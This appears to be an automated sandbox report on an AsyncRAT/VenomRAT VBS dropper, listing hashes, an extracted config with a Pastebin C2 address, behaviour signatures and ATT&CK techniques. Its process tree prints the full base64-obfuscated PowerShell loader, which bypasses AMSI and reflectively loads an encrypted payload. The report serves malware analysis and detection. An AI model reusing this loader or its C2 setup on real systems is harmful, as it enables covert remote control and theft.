asyncrat | 8d8048f2936aa8f30891ba0bb4d6710aa4a13c4795122154d2fc5dad85c366d5

General

Target

20022025_1553_9491700097082_20250101_20250211_40489.vbs
Size

59KB
MD5

ed21073856c03d1b0c3690cdc3acae54
SHA1

7080a7970f39ebc0928fd1563a39894c1b0b9daa
SHA256

8d8048f2936aa8f30891ba0bb4d6710aa4a13c4795122154d2fc5dad85c366d5
SHA512

c4948f3039ce07ba5e88eef975c3a3718f13acd2fa49472e0f99aebb2154babc26001391b715043b1670a0eb82a1ebfcee3d0b4ac515e8e1e7000bc51814cec5
SSDEEP

768:cMqKvuBXF44i4wbTHDudi0NCefDOZaBZamnDyKp09WB5zMwIZ8ltcYTw2j7ZguRM:wFuqdfDOkbH7FIZySYtj1guT7pvjI

Score

10^/10

asyncrat venomrat feb 19 discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

FEB 19

Mutex

cgkwgawwtvsvxsymd

Attributes

delay
1
install
false
install_folder
%AppData%
pastebin_config
https://pastebin.com/raw/Ax2bm8Nk

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/4804-70-0x0000000005360000-0x0000000005378000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/4804-70-0x0000000005360000-0x0000000005378000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
11	4804	powershell.exe
14	4804	powershell.exe
15	4804	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2720	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_2f6aabb7.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_2f6aabb7.cmd	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
13	pastebin.com
14	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4804	powershell.exe
4804	powershell.exe
2720	powershell.exe
2720	powershell.exe
3264	powershell.exe
3264	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4804	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	3264	powershell.exe
Token: SeIncreaseQuotaPrivilege	3264	powershell.exe
Token: SeSecurityPrivilege	3264	powershell.exe
Token: SeTakeOwnershipPrivilege	3264	powershell.exe
Token: SeLoadDriverPrivilege	3264	powershell.exe
Token: SeSystemProfilePrivilege	3264	powershell.exe
Token: SeSystemtimePrivilege	3264	powershell.exe
Token: SeProfSingleProcessPrivilege	3264	powershell.exe
Token: SeIncBasePriorityPrivilege	3264	powershell.exe
Token: SeCreatePagefilePrivilege	3264	powershell.exe
Token: SeBackupPrivilege	3264	powershell.exe
Token: SeRestorePrivilege	3264	powershell.exe
Token: SeShutdownPrivilege	3264	powershell.exe
Token: SeDebugPrivilege	3264	powershell.exe
Token: SeSystemEnvironmentPrivilege	3264	powershell.exe
Token: SeRemoteShutdownPrivilege	3264	powershell.exe
Token: SeUndockPrivilege	3264	powershell.exe
Token: SeManageVolumePrivilege	3264	powershell.exe
Token: 33	3264	powershell.exe
Token: 34	3264	powershell.exe
Token: 35	3264	powershell.exe
Token: 36	3264	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4804	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4320 wrote to memory of 2956	4320	WScript.exe	84
PID 4320 wrote to memory of 2956	4320	WScript.exe	84
PID 2956 wrote to memory of 4928	2956	cmd.exe	87
PID 2956 wrote to memory of 4928	2956	cmd.exe	87
PID 4928 wrote to memory of 5036	4928	cmd.exe	89
PID 4928 wrote to memory of 5036	4928	cmd.exe	89
PID 4928 wrote to memory of 4804	4928	cmd.exe	90
PID 4928 wrote to memory of 4804	4928	cmd.exe	90
PID 4928 wrote to memory of 4804	4928	cmd.exe	90
PID 4804 wrote to memory of 2720	4804	powershell.exe	93
PID 4804 wrote to memory of 2720	4804	powershell.exe	93
PID 4804 wrote to memory of 2720	4804	powershell.exe	93
PID 4804 wrote to memory of 3264	4804	powershell.exe	94
PID 4804 wrote to memory of 3264	4804	powershell.exe	94
PID 4804 wrote to memory of 3264	4804	powershell.exe	94

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\20022025_1553_9491700097082_20250101_20250211_40489.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\EWVm.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\EWVm.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\EWVm.bat';iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("cG93ZXJzaGVsbCAtdyBoaWRkZW47aWV4ICgoJChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnVTFSU1NVNUhVa0ZPUkU5TmFWTlVVa2xPUjFKQlRrUlBUV1ZUVkZKSlRrZFNRVTVFVDAxNElDZ29hVk5VVWtsT1IxSkJUa1JQVFhkVFZGSkpUa2RTUVU1RVQwMXlVMVJTU1U1SFVrRk9SRTlOSUMxVFZGSkpUa2RTUVU1RVQwMVZVMVJTU1U1SFVrRk9SRTlOYzFOVVVrbE9SMUpCVGtSUFRXVlRWRkpKVGtkU1FVNUVUMDFDVTFSU1NVNUhVa0ZPUkU5TllWTlVVa2xPUjFKQlRrUlBUWE5UVkZKSlRrZFNRVTVFVDAxcFUxUlNTVTVIVWtGT1JFOU5ZMU5VVWtsT1IxSkJUa1JQVFZCVFZGSkpUa2RTUVU1RVQwMWhVMVJTU1U1SFVrRk9SRTlOY2xOVVVrbE9SMUpCVGtSUFRYTlRWRkpKVGtkU1FVNUVUMDFwVTFSU1NVNUhVa0ZPUkU5TmJsTlVVa2xPUjFKQlRrUlBUV2RUVkZKSlRrZFNRVTVFVDAwZ0lsTlVVa2xPUjFKQlRrUlBUV2hUVkZKSlRrZFNRVTVFVDAxMGRIQnpVMVJTU1U1SFVrRk9SRTlOT2xOVVVrbE9SMUpCVGtSUFRTOVRWRkpKVGtkU1FVNUVUMDB2VTFSU1NVNUhVa0ZPUkU5Tk1GTlVVa2xPUjFKQlRrUlBUWGhUVkZKSlRrZFNRVTVFVDAwd1UxUlNTVTVIVWtGT1JFOU5MbE5VVWtsT1IxSkJUa1JQVFhOVFZGSkpUa2RTUVU1RVQwMTBVMVJTU1U1SFVrRk9SRTlOTDFOVVVrbE9SMUpCVGtSUFRUaFRWRkpKVGtkU1FVNUVUMDFhVTFSU1NVNUhVa0ZPUkU5TlJGTlVVa2xPUjFKQlRrUlBUV0ZUVkZKSlRrZFNRVTVFVDAwdVUxUlNTVTVIVWtGT1JFOU5kRk5VVWtsT1IxSkJUa1JQVFhoVFZGSkpUa2RTUVU1RVQwMTBVMVJTU1U1SFVrRk9SRTlOSWlrdVEyOXVkR1Z1ZEM1U1pYQnNZV05sS0NkQlFrTW5MQ2NuS1NrZ0xVVnljbTl5UVdOMGFXOXVJRk5wYkdWdWRHeDVRMjl1ZEdsdWRXVTcnKSkpKSAtcmVwbGFjZSAnU1RSSU5HUkFORE9NJywgJycpO3RyeXsgSW52b2tlLVN5c3RlbUFtc2lCeXBhc3MgLURpc2FibGVFVFcgLUVycm9yQWN0aW9uIFN0b3AgfWNhdGNoeyBXcml0ZS1PdXRwdXQgIlRoaXMgc3lzdGVtIGhhcyBhIG1vZGlmaWVkIEFNU0kiIH07ZnVuY3Rpb24gV0xIRE8oJHBhcmFtX3Zhcil7JGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOyRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzskYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnenJGSVhZVHFrVmxkaHJzZitRek1Oc1dtTVZLUWplc3pHYzNzaEVpVjlxZz0nKTskYWVzX3Zhci5JVj1bU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCc5MGEvR3VUQkIxMUsyRjdUSGhQcnNBPT0nKTskTVpBU1I9JGFlc192YXIuQ3JlYXRlRGVjcnlwdG9yKCk7JEdOSUJDPSRNWkFTUi5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsMCwkcGFyYW1fdmFyLkxlbmd0aCk7JE1aQVNSLkRpc3Bvc2UoKTskYWVzX3Zhci5EaXNwb3NlKCk7JEdOSUJDO31mdW5jdGlvbiBkZWNvbXByZXNzX2Z1bmN0aW9uKCRwYXJhbV92YXIpeyRXRVRWWD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOyRRS05MVD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JEpHTEJLPU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFdFVFZYLFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskSkdMQksuQ29weVRvKCRRS05MVCk7JEpHTEJLLkRpc3Bvc2UoKTskV0VUVlguRGlzcG9zZSgpOyRRS05MVC5EaXNwb3NlKCk7JFFLTkxULlRvQXJyYXkoKTt9JFFXRVdUPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskcGF5bG9hZDJfdmFyPWRlY29tcHJlc3NfZnVuY3Rpb24gKFdMSERPIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJFFXRVdULCA2KS5TdWJzdHJpbmcoMikpKSk7W1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRwYXlsb2FkMl92YXIpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtjbGVhcjs="))) "
      4⤵
      PID:5036
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      Blocklisted process makes network request
      Drops startup file
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4804
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2720
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\EWVm')
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
928d36ad618a369ffebf44885d07cf81

SHA1
edf5a353a919c1873af8e6a0dfafa4c38c626975

SHA256
d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea

SHA512
4ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a

Download Submit
C:\Users\Admin\AppData\Local\Temp\EWVm.bat

Filesize
59KB

MD5
27416502df608008f2adb405d3974c78

SHA1
262d35b487ab9223845ba1886e3482e0746e7bc0

SHA256
5f5525b99f0e02252ff93f55a6eda3a3b4db4bdf2e969a55c2d83f6befa4fd02

SHA512
bc7bd7fa7149142d80b95ddacc152c1ec8e66d384dbfb85a6205beaf547f98dd93c3c6241655a9f484da250aeabe734ff09d99acdece9fc22d5c7f58f94de877

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2s1b4xtr.rdw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3264-62-0x0000000007470000-0x0000000007513000-memory.dmp

Filesize
652KB

Download
memory/3264-50-0x0000000007430000-0x0000000007462000-memory.dmp

Filesize
200KB

Download
memory/3264-65-0x00000000077B0000-0x00000000077C1000-memory.dmp

Filesize
68KB

Download
memory/3264-64-0x0000000007880000-0x0000000007916000-memory.dmp

Filesize
600KB

Download
memory/3264-63-0x0000000007630000-0x000000000763A000-memory.dmp

Filesize
40KB

Download
memory/3264-61-0x0000000006880000-0x000000000689E000-memory.dmp

Filesize
120KB

Download
memory/3264-51-0x0000000070770000-0x00000000707BC000-memory.dmp

Filesize
304KB

Download
memory/4804-20-0x0000000006630000-0x000000000664E000-memory.dmp

Filesize
120KB

Download
memory/4804-15-0x0000000005F10000-0x0000000006264000-memory.dmp

Filesize
3.3MB

Download
memory/4804-21-0x00000000066D0000-0x000000000671C000-memory.dmp

Filesize
304KB

Download
memory/4804-22-0x0000000006BB0000-0x0000000006BF4000-memory.dmp

Filesize
272KB

Download
memory/4804-23-0x0000000007920000-0x0000000007996000-memory.dmp

Filesize
472KB

Download
memory/4804-24-0x0000000008020000-0x000000000869A000-memory.dmp

Filesize
6.5MB

Download
memory/4804-25-0x00000000079C0000-0x00000000079DA000-memory.dmp

Filesize
104KB

Download
memory/4804-73-0x0000000009200000-0x000000000929C000-memory.dmp

Filesize
624KB

Download
memory/4804-6-0x00000000749D0000-0x0000000075180000-memory.dmp

Filesize
7.7MB

Download
memory/4804-39-0x0000000007FD0000-0x0000000007FE0000-memory.dmp

Filesize
64KB

Download
memory/4804-3-0x0000000002D00000-0x0000000002D36000-memory.dmp

Filesize
216KB

Download
memory/4804-5-0x00000000749D0000-0x0000000075180000-memory.dmp

Filesize
7.7MB

Download
memory/4804-9-0x0000000005EA0000-0x0000000005F06000-memory.dmp

Filesize
408KB

Download
memory/4804-4-0x0000000005800000-0x0000000005E28000-memory.dmp

Filesize
6.2MB

Download
memory/4804-2-0x00000000749DE000-0x00000000749DF000-memory.dmp

Filesize
4KB

Download
memory/4804-8-0x0000000005E30000-0x0000000005E96000-memory.dmp

Filesize
408KB

Download
memory/4804-7-0x0000000005660000-0x0000000005682000-memory.dmp

Filesize
136KB

Download
memory/4804-38-0x0000000008740000-0x00000000087D2000-memory.dmp

Filesize
584KB

Download
memory/4804-66-0x00000000749DE000-0x00000000749DF000-memory.dmp

Filesize
4KB

Download
memory/4804-67-0x00000000749D0000-0x0000000075180000-memory.dmp

Filesize
7.7MB

Download
memory/4804-70-0x0000000005360000-0x0000000005378000-memory.dmp

Filesize
96KB

Download
memory/4804-72-0x0000000008B20000-0x0000000008B2A000-memory.dmp

Filesize
40KB

Download
memory/4804-37-0x0000000008C50000-0x00000000091F4000-memory.dmp

Filesize
5.6MB

Download

Analysis

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